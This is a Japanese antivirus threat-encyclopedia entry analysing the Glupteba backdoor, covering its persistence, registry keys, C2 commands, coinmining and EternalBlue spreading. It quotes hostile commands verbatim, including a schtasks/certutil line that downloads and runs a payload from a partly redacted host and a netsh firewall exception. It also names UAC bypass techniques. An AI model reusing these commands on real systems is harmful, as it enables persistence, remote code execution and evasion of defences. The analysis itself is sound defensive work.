• Email
• Facebook
• Twitter
• Google+
• Linkedin

Backdoor.Win32.GLUPTEBA.MBU

---

• マルウェアタイプ: バックドア型
• 破壊活動の有無: なし
• 暗号化: はい
• 感染報告の有無: はい

---

  概要

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

マルウェアは、特定のWebサイトにアクセスし、情報を送受信します。

---

  詳細

侵入方法

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

マルウェアは、感染したコンピュータ内に以下のように自身のコピーを作成します。

• %Windows%\rss\csrss.exe

(註：%Windows%フォルダは、Windowsが利用するフォルダで、いずれのオペレーティングシステム(OS)でも通常、"C:\Windows" です。.)

マルウェアは、以下のプロセスを追加します。

• "schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "{Malware file path and name}" /TN csrss /F"
• "schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://{BLOCKED}ct.info/app/app.exe %User Temp%\csrss\scheduled.exe && %User Temp%\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F

マルウェアは、以下の Mutex を作成し、メモリ上で自身の重複実行を避けます。

• Global\h48yorbq6rm87zot
• Global\ewzy5hgt3x5sof4v
• Global\y7ze3fznx1u0yc2z

自動実行方法

マルウェアは、自身のコピーがWindows起動時に自動実行されるよう以下のレジストリ値を追加します。

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
{Name stored in HKEY_CURRENT_USER\Software\Microsoft\bd2d26d3\Name} = %Windows%\rss\csrss.exe

他のシステム変更

マルウェアは、以下のレジストリ値を追加します。

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3
Name = {Value}

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3
Firewall = {Value}

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3
Defender = {Value}

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3
Servers = https://{BLOCKED}es.com, https://{BLOCKED}ge.com, https://{BLOCKED}at.com

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3
UUID = {Value}

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3
FirstInstallDate = {Value}

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3
ServiceVersion = {Value}

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3
SC = {Value}

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3
PGDSE = {Value}

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3
VC = {Value}

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3
ServersVersion = {Value}

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3
CDN = https://{BLOCKED}ct.info

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3
OSCaption = {Value}

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3
OSArchitecture = {Value}

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3
IsAdmin = {Value}

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3
AV = {Value}

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3
PatchTime = {Value}

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3
CPU = {Value}

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3
GPU = {Value}

バックドア活動

マルウェアは、以下のWebサイトにアクセスし、情報を送受信します。

• {URL stored in HKEY_CURRENT_USER\Software\Microsoft\bd2d26d3\Servers}

マルウェアは、以下のWebサイトにアクセスし、不正リモートユーザからのコマンドを送受信します。

• Update itself
• Stop XMR mining
• Check if a process is running
• Check if an event or mutex exists
• Verify signatures of PE files
• Download and execute services
• Establish heartbeat
• Download and execute files
• Upload file
• Read blockchain data
• Take screenshot

ダウンロード活動

マルウェアは、以下のWebサイトにアクセスし、不正なファイルをダウンロードして実行します。

• {URL stored in HKEY_CURRENT_USER\Software\Microsoft\bd2d26d3\CDN}

マルウェアは、以下のファイル名でダウンロードしたファイルを保存します。

• %User Temp%\csrss\vc.exe
• %User Temp%\csrss\smb\deps.zip
• %User Temp%\wup\wup.exe (downloaded coinminer component)
• %Windows%\windefender.exe (downloaded watchdog.exe from CDN URL)

(註：%User Temp%フォルダは、現在ログオンしているユーザの一時フォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザー名＞\Local Settings\Temp"です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Local\Temp" です。. %Windows%フォルダは、Windowsが利用するフォルダで、いずれのオペレーティングシステム(OS)でも通常、"C:\Windows" です。.)

情報漏えい

トロイの木馬化されたアプリケーションが実行されると、[Malware]は、以下の情報を収集します。

• Campaign ID
• Distributor ID
• OS information (architecture, caption)
• CPU information
• GPU information
• First install date
• Installed malware version
• Installed AV products
• Firewall information
• Flag whether the malware was executed as an admin
• Active window name
• SID

その他

マルウェアは、以下のレジストリキーを追加します。

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3

マルウェアは、以下を実行します。

• It drops the following drivers in %System%\drivers:
  • winmon.sys
  • winmon32.sys
  • winmon64.sys
  • winmonfs32.sys
  • winmonfs64.sys
  • winmonprocessmonitor32.sys
  • winmonprocessmonitor64.sys
  • winmonsystemmonitor-10-64.sys
  • winmonsystemmonitor-7-10-32.sys
  • winmonsystemmonitor-7-64.sys
• It adds the following processes to bypass firewall rules:
  • cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="%Windows%\rss\csrss.exe" enable=yes"
• It creates Windows Defender exclusions by adding registry entries in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusion\Paths using its created files and folders as values.
• It hides its related files and processes from the infected machine.
• It adds services for every driver dropped in %System%\drivers.
• It abuses CompMgmtLauncher to bypass UAC and modifies HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command to escalate privileges (if not executed in Windows 10).
• It abuses fodhelper.exe to bypass UAC and modifies HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command to escalate privileges (if executed in Windows 10).
• It terminates itself if found running in a virtual machine.
• It terminates itself if found running inside an Azure machine.
• It terminates itself if an AV product is found running.
• It uses EternalBlue/DoublePulsar components to takes advantage of the following software vulnerabilities to distribute its coinminer component across networks:
  • Microsoft Windows SMB Server (MS17-010) Vulnerability

(註：%System%フォルダは、システムフォルダで、いずれのオペレーティングシステム(OS)でも通常、"C:\Windows\System32" です。.. %Windows%フォルダは、Windowsが利用するフォルダで、いずれのオペレーティングシステム(OS)でも通常、"C:\Windows" です。.)

以下のスケジュールされたタスクを追加します：

• Task name: csrss
  Task to be run: {Malware file path and name}
• Task name: ScheduledUpdate
  Task to be run: cmd.exe /C certutil.exe -urlcache -split -f https://{BLOCKED}ct.info/app/app.exe %User Temp%\csrss\scheduled.exe && %User Temp%\csrss\scheduled.exe /31340

---

  対応方法

ご利用はいかがでしたか？　アンケートにご協力ください